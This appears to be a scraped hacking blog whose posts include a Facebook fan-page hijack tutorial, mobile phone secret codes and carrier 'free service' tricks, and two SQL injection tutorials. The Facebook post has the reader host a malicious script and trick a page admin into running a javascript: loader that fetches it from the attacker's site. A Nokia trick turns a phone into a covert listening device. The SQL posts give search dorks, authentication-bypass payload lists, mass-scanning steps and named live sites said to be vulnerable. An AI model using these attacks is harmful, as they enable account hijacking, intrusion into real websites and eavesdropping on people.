Facebook Fane Page Hack

Today I will show you how to hack a Facebook fan page.First of all we will need to setup an exploit and a website to host the exploit. If you already have a hosting then its great otherwise there are couple of free hosting websites that can be used for such purposes. I will tell you about it along with the tutorial.
Disclaimer: Coder and related sites are not responsible for any abuse done using this trick.
1. Download the exploit from this Link.


http://adf.ly/1hwMO

2. After downloading it, you need to edit the it. Get notepad++, one of my hot favorite editor. You can download it from here. http://notepad-plus-plus.org/download

3. Open the file named pagehack.js with notepad++. Now find the text wamiqali@hungry-hackers.com by pressing ctrl+f and replace it with your own email id which you have used while signing up for facebook.

4. Now you have to change the viral text which will be sent to the friends of the victims. To do this, find the text Hey See what i got! and replace it with your own text. This text will be sent to the facebook wall of 15 friends of the victim. Since it is an autoposting bot, to prevent facebook from blocking it, I reduced its capacity to 15. Now just save it as anything.js (Tip: Be social engineer and rename it to something more attractive like getprizes.js or booster.js)

5. Now you have to upload this script to your server. For this make an account at 0fess.net or 000webhost.com (t35 or 110mb won’t help this time) and use filezilla and upload this to your root. So the address where your script is uploaded will be as follows:

www.yoursite.0fess.net/booster.js

6. Now comes the most important part of this Hack. You need to convince the admin of that Fan page to put the following code (Note: Don’t forget to replace the text in bold with the address of your script) in his browser’s address bar and hit enter while he is on Facebook.

javascript:(a = (b = document).createElement(“script”)).src = “//www.yoursite.0fess.net/booster.js“, b.body.appendChild(a); void(0)

Read More

Unknown 11:21  No comment

NOKIA Tips

Mobils in the next millenium acourding to NOKIA

Send an E-mail from your GSM


From your telephone you can send an email to whichever E-mail customer of the Internet network.

The e-mail will be sent to the maximum of within an hour from the reception.

The sended message will contain in luminosity the telephone number of the sender.

In order for sending e-mail, send an SMS with this syntax (always separated by spaces):

EMA name@domain text-of-your-email

Example: in order to send an email to john@doe.com, do the following:

EMA john@doe.com text-of-your-email

if your phone cant print @ replace it with a !

EMA johon!doe.com text-of-your-email

And then send this message to the folloving number: +39 338 8641732







Codes (that they dont tell you in the manual)
To check the IMEI (International Mobile Equipment Identity) type: *#06#

Information you get from the IMEI:
XXXXXX XX XXXXXX X
TAC FAC SNR SP

TAC = Type Approval Code (first 2 digits = country code).

FAC = Final Assembly Code (For Nokia phones FAC=10).

SNR = Serial Number.

SP = Spare (always SP=0).



To check the phone's software (firmware revision information) type: *#0000# ( or for some phones outher then Nokia 61XX you can try *#model nummber# ex. for 8110 *#8110#)

Information you can get from the phone's software version:
V 3.14
28-11-97
NSE-3

1st line: Software version.
2nd line: The date of the software release.
3nd line: Phone type, .


Some versions and dates:

V 3.14 28/11/97

V4.33 11/03/98

V 4.73 22/04/98

V 5.24 14/9/98






Pin-Out Diagram for the 6110




1 - VIN CHARGER INPUT VOLTAGE 8.4V 0.8A
2 - CHRG CTRL CHARGER CONTROL PWM 32Khz
3 - XMIC MIC INPUT 60mV - 1V
4 - SGND SIGNAL GROUND
5 - XEAR EAR OUTPUT 80mV - 1V
6 - MBUS 9600 B/S
7 - FBUS_RX 9.6 - 230.4 KB/S
8 - FBUS_TX 9.6 - 230.4 KB/S
9 - L_GND CHARGER / LOGIC GND




Revealing Headphone and Car-Kit Menus
Think about this: If you do these tricks the new menus can not be erased after the procedure. But it's not dangerous or harmful for your phone

To enable the headset-function, you have to short-circuit the "3" and "4". After a short time there is "Headset" on the display Now, menu 3-6 is now enabled!

To enable the carkit-function you have to short-circuit the "4" and "5". After a short time, "Car" is shown on the display and the menu 3-7 is enabled!!

This Trick is for you how want to hear more then your supposed to !

If you short-circuit the left and the right contact with the middle contact ("3", "6" and "9") the Nokia Software hangs! The profile "Headset" will be activated. Before you do this, just active the "auto call receive" function in the headphone profile and set the ringing volume to "mute" Now you can use your phone for checking out what people are talking about in a room. Place the phone somewhere stratidic and call your phone! The phone receives the call without ringing and you can listen to what people are talking about! .....gr8...



Serial numbers on your 6110
For more info type: *#92702689#
The first screen gives you the serial and IMEI number.
Then there is the Date of Manufacture: ex. Made 1297
Then there is the Purchasing Date: ex. Purchasing Date 0298
Then there is the last Repair Date: ex. Repaired: 0000

Note: you must turn off the phone to exit after this test, because of the last function, "transfer user data" which doesn't work as "standard"....You can use this mode only to transfer all Calender, Profile and Callers Group Information to another phone (eg. if you are replacing phone or configuring phones for use within your company or when a particular phone doesn't works correctly )




Activating and deactivating EFR and HFR, on your 6110

*3370# to activate Enhanced Full Rate - Makes calls sound better, but decreases the battery life by about 5%.

#3370# to deactivate Enhanced Full Rate

*4720# to activate Half Rate Mode - Drops call quality, but increases battery life by about 30%.

#4720# to deactivate Half Rate Mode




Add new tones to your 6110 (whitout using a computer)
How to get new ringing tones :
Set SMSC (message central) to +358405202999
send an SMS with the word
TONES
Send it to 99999
When you get the reply (this will be in a markup language)
go to edit the message so the tone you want is the only without an
asterix (*) in front of it. Then send this message to 99999 again.
This will then send a ringtone to you.
If it works, it should says: NEW RINGTONE RECEIVED.
Then you can play it, discard it or accept it as tone no.36 (the personal one

Read More

Unknown 11:17  No comment

UFONE Secret Codes - UFONE Commands

Shortcuts:

##004# Deactivate Voice Mail **004*190# Activate Voice Mail

*43# Activate Call Waiting #43# Deactivate Call Waiting

*124# Free Balance Check

*123*(PIN)# Balance Recharge

*444*1# Ufone Prepay 2 Ufone Public Demand Conversion*444*2# Ufone Public Demand 2 Ufone Prepay Conversion

*#21# Allows you to check the number that “All Calls” are diverted to.

*#30# Lets you see the private number.

*#61# Allows you to check the number that “On No Reply” calls are diverted to.

*#62# Allows you to check the number that “Divert If Unreachable (no service)” calls are diverted to.

*#67# Allows you to check the number that “On Busy Calls” are diverted to.

CLIR: Presentation of one’s own number to the to the called party

Activate CLIR **31#

Activate CLIR for the actual call *31#number

Deactivate CLIR ##31#

Deactivate CLIR for the actual call #31#number

Check status of CLIR *#31#

De-register all call diversions ##002#

Activate unconditionally divert all calls *21#

De-register unconditionally divert all calls ##21#

Deactivate unconditionally divert all calls #21#

Check status of unconditionally divert all calls *#21#

Divert on no answer to number and activate **61*number#

Activate divert on no answer *61#

Activate divert on busy *67# De-register divert on busy ##67#

Deactivate divert on busy #67# Check status of divert on busy *#67#

Check status of barr all outgoing calls *#33# Activate barr all calls **330*code#

Deactivate barr all calls #330*code#

Check status of barr all calls *#330*code#

Activate barr all outgoing calls **333*code#

Deactivate barr all outgoing calls #333*code#

Check status of barr all outgoing calls *#333#

Activate barr all incoming calls **35*code#

Deactivate barr all incoming calls #35*code#

Check status of barr all incoming calls *#35#

Activate barr all incoming calls when roaming **351*code#

Deactivate barr all incoming calls when roaming #351*code#

Check status of barr all incoming calls when roaming *#351#

Activate barr all incoming calls **353*code#

Deactivate barr all incoming calls #353*code#

Check status of barr all incoming calls *#353#

Read More

Unknown 11:14  No comment

All Mobiles And All Network Tricks

{Ufone Trick}
For Check Ufone Time Write Time And Send it to 1307 It,s Free Enjoy.





{Manage Your Low Battery In Emergancy}






How to solve battery low problem of mobile phone

MANY TIMES YOU FACE PROBLEM OF BATTERY LOW

Your Mobile Battery is Very Low

& you are expecting an important call

BUT you don't have a charger"

what to do?

Nokia instrument comes with a reserve battery.

To activate the battery, the key-in *3370# your cell will restart with this reserve and your instrument will show a 50% increase in battery.

This reserve will get charged when you charge your mobile next time.


{Apnay Chori Huway Mobile Ko Block Karwao}

Agar Aap Ka Mobile Chori Hojae To Aap Usay Block Or Track Karwa Saktay Ho Jab Bhi Mobile Lo To *#06# Dial Kar K Apna IMEI ( Internationl Mobile Identity ) Hasil Karain Or Apnay Pass Save Karlain. Mobile Chori Honay Ki Soorat Main cop@vsnl.net Par IMEI Code Mail Karain 24 Hours Main Gprs & Internet Technology Ki Zariye Aap K Mobile Ka Pata Chal Jaega K Wo Kis K Pass Hai Agar Sim Change Bhi Karli Ho Tab Bhi Pata Chal Jaega.







{Sim Means}

What is Sim?

S=Subscriber

I=Identification

M=Module











{Zong free msg centre}




ZONG free msg. centre num +992929999999 message sender after added +92 and send the message with Enjoy!








{Increase L.G Volume}

2...: LG mobile User friends Not tension #*2945* dial and your LG mobile set volume more then powerful
{Ufone Trick}



From UFONE SIM dial *333*1*4*1# u can see the name of owner of your SIM its free







{Ufone Free Internet}

UFONE FREE GPRS TRICK -
APN=ufone.pinternet
IP=192.43.193.72
PORT=3127.
Use UCWEB browsing for use free net. Use Trick with zero balance
UFONE free net just download "uc web" and enjoy free net. Opera mini 8 version most important.


{Jazz Free Internet Trick}



JAZZ free net: jazzwap.mobilinkworld.com




IP: 172.24.97.29

Port.8080

{Warid Trick}



Solid and Latest tricks 4 warid userz type HELP, HELP1 and HELP2 send it to 12320 and get free BREAKING-NEWS










{Zong Cricket Updates}

Download cricket crazy application on ZONG send message type “cric” to 525 enjoy ball to ball live scores.


{Telenor}
DJUICE now offer 700 SMS and 10 FREE mint. Only Rs.12+Tax
Format: Star345star10he

{Ufone}
*999# dial and UFONE funkit enjoy…!

{Mobile Restarting Trick}
Mobile restarting Tricks. Go to write message 79 times comma(,). Then send it to only for NOKIA 1100, 1112,1110,2310,1600


{Samsung Restore Codes}
Samsung Codes
*2767*3855# - FULL E2P RESET
*2767*2878# - COUSTOM E2P RESET


{Track any Ufone Number}
Tracking information for UFONE Write Findmobile number and send it to 2002. Rs: 2+ taxes
e.g Findmobile 03331234567 and send it to 2002



{Ufone free sms Centre}



UFONE FREE SMS just change message center +4179499833289 and save +92 and send…










{China Mobile Restore Codes}

China Mobile Restore Code 1122, 3344, 1234, 5678


{Zong Block Service}
ZONG call block *21*9230622# UN block ##21# free register ZONG SIM. Dial 8223 ZONG free for PUK code send PUK to 380.

{Telenor Free Callback sms}
4…: *345*8*1# TELENOR free emergency SMS. Agr aap ka balance zero hai tou aap apny dost ko free mai msg send kar skyt hain. Call BACK.


{Ufone}
Only For UFONE users: agar aap apnai friends numbers ki details jan’na chahtay hain tou *334*1*2*1# dial karain. Its totally free


{China Mobiles}
China Mobile LCD Contract #369# Software version #800#, #900#. only for some china mobiles.


{Utune Code}
Utune Code for “The Number You Have Dialed is Not Responding at the Moment” is 5021858

Any Complain or Feed Back Now Email: ali_luckyboy2000***********
Thank you


{Ufone Trick}



From UFONE SIM dial *333*1*4*1# u can see the name of owner of your SIM.







{Warid Free Sms Centre}

This WARID free SMS center number. +975467235572 enjoy. But first+92 (100% working

Share your ideas with people and get ideas from people. And easy load by referring user visit www.smsoye.com





{Warid Trick}


Get Free WARID SMS score like cricket, score, horoscope, etc e.g. just type CKT send 12320. No charges

{Zong Trick}
ZONG users Send HELP to 235 know about you dial Tune details. Free of cost no charges.


{Nokia}
*NOKIA Refreshing code for s60 series * *#7370#


{Zong}
1…: To receive miscall alert in ZONG when you out of reach busy are no coverage just dial **66*9230622# Deactivate ##66#. It’s free

2…: Every Sunday HOLE MONTHE Rs.50 every Sunday 7am to 12pm ZONG to ZONG call free dial 916 activation charges Rs.10 only 1st time.

3…: 1000 FREE minutes and 5000 free SMS Only ZONG customers just Dial 919 and get free min and sms. It’s Limited offer.

4…: Enjoy 24 hours free calls on 1super Free Rs500+tax/month Offer available on ZONG free Package only. Dial 908 or Send SUB free number to 908.

5…: Dial 912 and Subscribe the Voice + SMS bundle of Rs.100 and 80 free mints and 100 free SMS any Network Validity 15 days ZONG say it all.



{Ufone Trick}
UFONE nightly Package SUB 611 massage 500 Rs1+tax and UNSUB 8611


{Zong}
If u ZONG SIM without your name or other name. Then call 8723 and give your ID CARD NUMBER. It’s free.


{Ufone}
Send your CNIC number to 969 n get your SIM register. Only 4 UFONE subscribe.


{Sonyericsson}
SONYERICON codes lock status to check IMEI *#06#




{Zong for check ur remainig sms free}



Check ZONG free SMS for FREE. Send limit to 999 and Enjoy!










{Telenor Tricks}




1…: TELENOR Customers. Dial 555ppp2p1 for free balance check.




2…: TELENOR Customers. Dial 555ppp2p2 for free SMS balance check







{Ufone Free msg Centre}

Free sms ufone to ufone msg centre no iz +417949983289 and +18294149999 use +92 infront of any no e.g +923421234567



{Jazz Free msg centre}

Free sms jazz to jazz msg centre iz +263352221431 use +92 infront of any no e.g +923421234567 100% working




China Mobile Top Secret Codes

china sets k secrit codes.
Info *#4960# send
sp lock *#3210# send
Version *#2820# send
Hardware Reset *73738# send
reset to default *#2220# send
unlock gprs settings *#2634# send
special net unlock *#1110# send
net lock *#8140# send
unlock #4960*code# send
emi *#06# send
for test *#66# send
Default user code : 1122, 3344, 1234, 5678
Engineer mode : *#110*01# send
Factory mode : *#987# send
Enable COM port : *#110*01# send
Device -> Set UART -> PS Config ->
UART1/115200
Restore factory settings : *#987*99# send
LCD contrast : *#369# send
Software version : *#800# send
Software version : *#900# send
Set default language : *#0000# Send
Set English language : *#0044# Send
Set English languag: *#001# Send


{Warid}

If You Want To Check Your Number Simply Write Myno and send it to 12320 it,s Free

Forexample:- Myno Send it to 12320.



{Zong New Free Msg Centre}




+870772001799 Ye Msg Centre Number hai It Works on All Networks Mean Sms Can Send to All Networks


No K Aagay +92 Likhana Hai e.g:- +92********** Msg Sending Fail Hoga Lekin Msg Zaroor Jaeg

Read More

Unknown 11:11  No comment

Mobile Codes

*#9999# -> Show Software Version
*#0001# -> Show Serial Parameters

*2767*3855# -> Full EEPROM Reset ( THIS CODE REMOVES SP-LOCK!!!! but also change IMEI to 447967-89-400044-0, you must use CHGIMEI to restore it)

*2767*2878# -> Custom EEEPROM Reset
*#8999*228# -> Battery status (capacity, voltage, temperature)
*#8999*246# -> Program status
*#8999*289# -> Change Alarm Buzzer Frequency
*#8999*324# -> Debug screens
*#8999*364# -> Watchdog
*#8999*377# -> EEPROM Error Stack
*#8999*427# -> Trace Watchdog
*#8999*523# -> Change LCD contrast
*#8999*544# -> Jig detect
*#8999*636# -> Memory status
*#8999*746# -> SIM File Size
*#8999*778# -> SIM Service Table
*#8999*785# -> RTK (Run Time Kernel) errors
*#8999*786# -> Run, Last UP, Last DOWN
*#8999*837# -> Software Version
*#8999*842# -> Test Vibrator
*#8999*862# -> Vocoder Reg
*#8999*872# -> Diag
*#8999*947# -> Reset On Fatal Error
*#8999*999# -> Last/Chk
*#8999*9266# -> Yann debug screen (=Debug Screens?)
*#8999*9999# -> Software version  #*0400#
#*1200# - AFC DAC Val
#*1300# - IMEI
#*1400# - IMSI
#*1700# - ( ) Command #*1700 Executed
#*1800# - ( ) Command #*1800 Executed
#*1900# - ( ) Command #*1900 Executed
#*2000# - ( ) Command #*2000 Executed
#*2100# - ( ) Command #*2100 Executed
#*2200# - ( ) Command #*2200 Executed
#*2252# - Current CAL
#*2255# -
#*2256# - Calibr.-Info
#*2282#
#*2285#
#*2286# - Databattery
#*2337# - ( ) Permanent Registration - Not Yet Implemented
#*2355#
#*2400# - ( ) Command #*2400 Executed
#*2474# - For CMD Set - DEBUGBATTERY in cihard.opt
#*2527# - GPRS Switching Set to class {4/8/9/10}
#*2558# - Time ON
#*2562#
#*2565#
#*2677# - AMR State: {None / Full Rate}
#*2679# - Copycat Feature: {ACTIVATED/DEACTIVATED}
#*2787# - CRTP {ON/OFF}
#*2834# - Audio path Mobile Normal
#*2836# - AVDDSS Management: {DEACTIVATED/ACTIVATED}
#*3230# - Trace Enable DCD disable
#*3231# - Trace disable DCD Enable
#*3232# - Current Mode {Trace enabled/DCD enabled}
#*3270# - DCS Support: {DEACTIVATED/ACTIVATED}
#*3282# - Data: {DEACTIVATED/ACTIVATED}
#*3333#
#*3353# - General Defence Code Erased
#*3370#
#*3377#
#*3476# - EGSM: {DEACTIVATED/ACTIVATED}
#*3676# - Flash Volume Formated
#*3683#
#*3737# - Some Codes
#*3777#
#*3779#
#*3825# - ( ) Command #*3825 Executed
#*3837#
#*3849#
#*3851#
#*3876#
#*3877# - Dump of SPY Trace
#*3900#
#*3940# - External looptest 9600 bps not available in SYSOL2
#*3940# - External looptest 115200 bps not available in SYSOL2
#*3941#
#*4200#
#*4263# - Handsfree Mode: ACTIVATED
#*4300#
#*4500#
#*4674# - IMSI| MCC:2 5 0 | MNC 9 2 | 10 11 91 83 50
#*4700# - Half Rate: {ACTIVATED/DEACTIVATED}
#*4760# - GSM: {ACTIVATED/DEACTIVATED}
#*4864#
#*5100#
#*5111# - ( ) Some Codes
#*5132#
#*5133# - ( ) Some Codes
#*5143#
#*5156#
#*5165#
#*5171# - ( ) Some Codes
#*5172# - ( ) Some Codes
#*5173# - ( ) Some Codes
#*5174#
#*5175#
#*5176# - ( ) Some Codes
#*5177#
#*5187# - L1C2G trace: {ACTIVATED/DEACTIVATED}
#*53696# - [Java dnload] WAPSAR mode
#*536961# - WAPSAR enable HTTP disable
#*536962# - HTTP enable WAPSAR disable
#*536963# - SERIAL enable Others disable
#*5376#
#*5400# - ( ) Command #*5400 Executed
#*5500#
#*5600#
#*566335# - [WAP model ID]
#*5663351# - [Phone Model] SAMSUNG SGH-X100
#*5663352# - [Java Model] SEC-SGHS300/1.0
#*5737425# - Java Serial
#*577699# - APN
#*5800# - ( ) Command #*5800 Executed
#*6100# - ( ) Command #*6100 Executed
#*6200#
#*6420# - Mic off
#*6421# - Mic on
#*6422# - Mic dep RXdata
#*6428# - Mic measurement
#*6700#
#*6837# - Official Software Version
#*6900#
#*7200#
#*7222# - Operation Typ: Class C GSM
#*7224# - ERROR
#*7247#
#*7252# - Operation Typ: Class B GPRS
#*7271# - Multi slot: Class 1 GPRS
#*7274# - Multi slot: Class 4 GPRS
#*7276#
#*7284# - Class B
#*7287# - GPRS Attached
#*7288# - GPRS Detached
#*7326# - Accessory: Vibrator
#*7337# - Some kind of Reset Settings
#*7352# - Some Kind of Debug Info
#*7462# - SIM phase
#*7524# - KCGPRS
#*7562# - LOCI GPRS
#*7636#
#*7639#
#*7632# - Sleep mode
#*7633#
#*7638# - RLC always open ended TBF: {ACTIVATED/DEACTIVATED}
#*7646#
#*7665#
#*7666# - SrCell Data
#*7673# - Sleep mode
#*7676# - Command #*7676 Executed
#*7683# - Sleep variable
#*7693# - Sleep deact
#*7728# - RSAV done->reset
#*7763# - SMS bearer CS {ACTIVATED/DEACTIVATED}
#*7825#
#*7828# - Midl Rl51
#*7957# - Command #*7957 Executed
#*7983# - Voltage/Freq {DEACTIVATED/ACTIVATED}
#*7986# - Voltage {DEACTIVATED/ACTIVATED}
#*8462# - Sleep time since SwitchOff
#*8465# - Time in L1
#*8466# - Old Time
#*8645#
#*9278# - Command #*9278 Executed
#*9795# - wtls key: reset
#7263867# - RAM Dump {On/Off}
#7465625*228# - Activa lock deactivated
#7465625*27*
#7465625*2827# - Auto CP lock deactivated
#7465625*28638# - Auto Network lock deactivated
#7465625*28746# - Auto SIM lock deactivated
#7465625*2877# - Auto SP lock deactivated
#7465625*28782# - Auto subset lock deactivated
#7465625*638*
#7465625*746*
#7465625*77*
#7465625*782*
#8999*324#
*#0*
*#0020# –
*#06# – IMEI
*#2255# - Call List
*#4777*8665# – GPRS
*#7465625# – Interrogate ( )
*#8377466# – Software && Hardware Versions
*#8888# – Hardware Version
*#8999*324# - ( ) Some Strange Numbers
*#8999*377# -
*#8999*3825523# - ( )
*#8999*523# - Main LCD Brightness
*#8999*636# - ( ) Another Strange Numbers
*#8999*8376363# - . HW, SW, + Some Code And Data
*#8999*8378# - . , , , HW SW
*#9999# – Software Version

=== : ===

*2767*xx927 - WAP . xx - . , xx=44: *2767*44WAP# xx=31: *2767*31WAP#

*2767*xx667 - MMS.

.

*2767*2877368#
*2767*2878# – EEPROM ( , )
*2767*31667#
*2767*31927#
*2767*33667#
*2767*33927#
*2767*34667#
*2767*34927#
*2767*351667#
*2767*351927#
*2767*3700#
*2767*380667#
*2767*380927#
*2767*3855# - l EEPROM ( SP- !! ) IMEI 447967-89-400044-0, IMEI ( )
*2767*39667#
*2767*39927#
*2767*420667#
*2767*420927#
*2767*43667#
*2767*43927#
*2767*44667#
*2767*44927#
*2767*46667#
*2767*46927#
*2767*49667#
*2767*49927#
*2767*66335#
*2767*688# ( ) [Unlocking Code]
*2767*7100#
*2767*7300#
*2767*73738927# = *2767*RESETWAP#
*2767*7650#
*2767*7667#
*2767*7927#
*2767*8200#
*2767*927#

=== / : ===

*335#
*663867# - mm file dumped
*7465625# -
*7465625*228# - Activa lock personalized
*7465625*27*
*7465625*2827# - Auto CP lock activated
*7465625*28638# - Auto Network lock activated
*7465625*28746# - Auto SIM lock activated
*7465625*2877# - Auto SP lock activated
*7465625*28782# - Auto subset lock activated
*7465625*638*
*7465625*746
*7465625*746*
*7465625*77*
*7465625*78

Read More

Unknown 11:06  No comment

SQL Injection Basic Tutorial

One of the major problems with SQL is its poor security issues surrounding is the login and url strings.
this tutorial is not going to go into detail on why these string work

SEARCH:

admin\login.asp
login.asp

with these two search string you will have plenty of targets to chose from...finding one thats vulnerable is another question


WHAT I DO :

first let me go into details on how i go about my research

i have gathered plenty of injection strings for quite some time like these below and have just been granted access to a test machine and will be testing for many variations and new inputs...legally cool...provided by my good friend Gsecur aka ICE..also an Astal member.. http://governmentsecurity.org "thanks mate" .. gives me a chance to concentrate on what am doing and not be looking over my shoulder

INJECTION STRINGS:HOW ?

this is the easiest part...very simple

on the login page just enter something like

user:admin (you dont even have to put this.)
pass:' or 1=1--

or

user:' or 1=1--
admin:' or 1=1--

some sites will have just a password so

password:' or 1=1--

infact i have compiled a combo list with strings like this to use on my chosen targets ....there are plenty of strings about , the list below is a sample of the most common used

there are many other strings involving for instance UNION table access via reading the error pages table structure
thus an attack with this method will reveal eventually admin U\P paths...but thats another paper

the one am interested in are quick access to targets

PROGRAM

i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit
of success with a combo list formatted this way,yesteday i loaded 40 eastern targets with 18 positive hits in a few minutes
how long would it take to go thought 40 sites cutting and pasting each string ??

combo example:

admin:' or a=a--
admin:' or 1=1--

and so on...it dont have to be admin can be anything you want... the most important part is example:' or 1=1-- this is our injection
string

now the only trudge part is finding targets to exploit...so i tend to search say google for login.asp or whatever

inurl:login.asp
index of:/admin/login.asp

like this: index of login.asp

result:

http://www3.google.com/search?hl=en&ie=ISO...G=Google+Search

17,000 possible targets trying various searches spews out plent more


now using proxys set in my browser i then click through interesting targets...seeing whats what on the site pages if interesting
i then cut and paste url as a possible target...after an hour or so you have a list of sites of potential targets like so

http://www.somesite.com/login.asp
http://www.another.com/admin/login.asp

and so on...in a couple of hours you can build up quite a list...reason i dont sellect all results or spider for login pages is
i want to keep the noise level low...my ISP.. well enough said...plus atm am on dial-up so to slow for me

i then save the list fire up Ares and enter (1) a proxy list (2)my target IP list (3)my combo list...start..now i dont want to go into
problems with users using Ares..thing is i know it works for me...

sit back and wait...any target vulnerable with show up in the hits box...now when it finds a target it will spew all the strings on that site as vulnerable...you have to go through each one on the site by cutting and pasting the string till you find the right one..but the thing is you know you CAN access the site ...really i need a program that will return the hit with a click on url and ignore false outputs

am still looking....thing is it saves quite a bit of time going to each site and each string to find its not exploitable.

there you go you should have access to your vulnerable target by now

another thing you can use the strings in the urls were user=? edit the url to the = part and paste ' or 1=1-- so it becomes

user=' or 1=1-- just as quick as login process


(Variations)

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

happy hunting


*******************************************

WARNING: the information provided is for educationally purposes only and not to be used for malicious use. i hold no responsibility
for your actions...do the right thing and let admins know.....!

Read More

Unknown 10:53  No comment

SQL Injection

Sub Pehly Ap Google Open Karyn
Phr Ap Google Search Bar Mein Type Karyn


inurl:adminlogin.asp

inurl:admin_login.asp

inurl:adminlogon.asp

inurl:admin_logon.asp

inurl:\\admin/admin_login.php

inurl:/admin.asp

inurl:/login.asp

inurl:/logon.asp

inurl:/adminlogin.asp

inurl:/adminlogon.asp

inurl:/admin_login.asp

inurl:/admin_logon.asp

inurl:/admin/admin.asp

inurl:/admin/login.asp

inurl:/admin/logon.asp

inurl:/admin/adminlogin.asp

inurl:/admin/adminlogon.asp

inurl:/admin/admin_login.asp

inurl:/admin/admin_logon.asp

inurl:/administrator/admin.asp

inurl:/administrator/login.asp

inurl:/administrator/logon.asp

inurl:root/login.asp

inurl:admin/index.asp





admin'--



1'or'1'='1



' or 0=0 --



" or 0=0 --



or 0=0 --



' or 0=0 #



" or 0=0 #



or 0=0 #



' or 'x'='x



" or "x"="x



') or ('x'='x



' or 1=1--



" or 1=1--



or 1=1--



' or a=a--



" or "a"="a



') or ('a'='a



") or ("a"="a



hi" or "a"="a



hi" or 1=1 --



hi' or 1=1 --



hi' or 'a'='a



hi') or ('a'='a



hi") or ("a"="a



1' OR '1'='1 (Koi Ek Dalna Ha Password Mein)



Phr Click Kryn Enter. u r in admin panel Try here
http://shopping.richardhealey.com/



http://www.amskrupajal.org/AdminLogin.asp


admin = 1'or'1'='1 pass = 1'or'1'='1



http://www.alertfx.com/admin/admin.asp

admin = 1'or'1'='1 pass = 1'or'1'='1

By HaCkInG 'O' sHiT

Read More

Unknown 10:51  No comment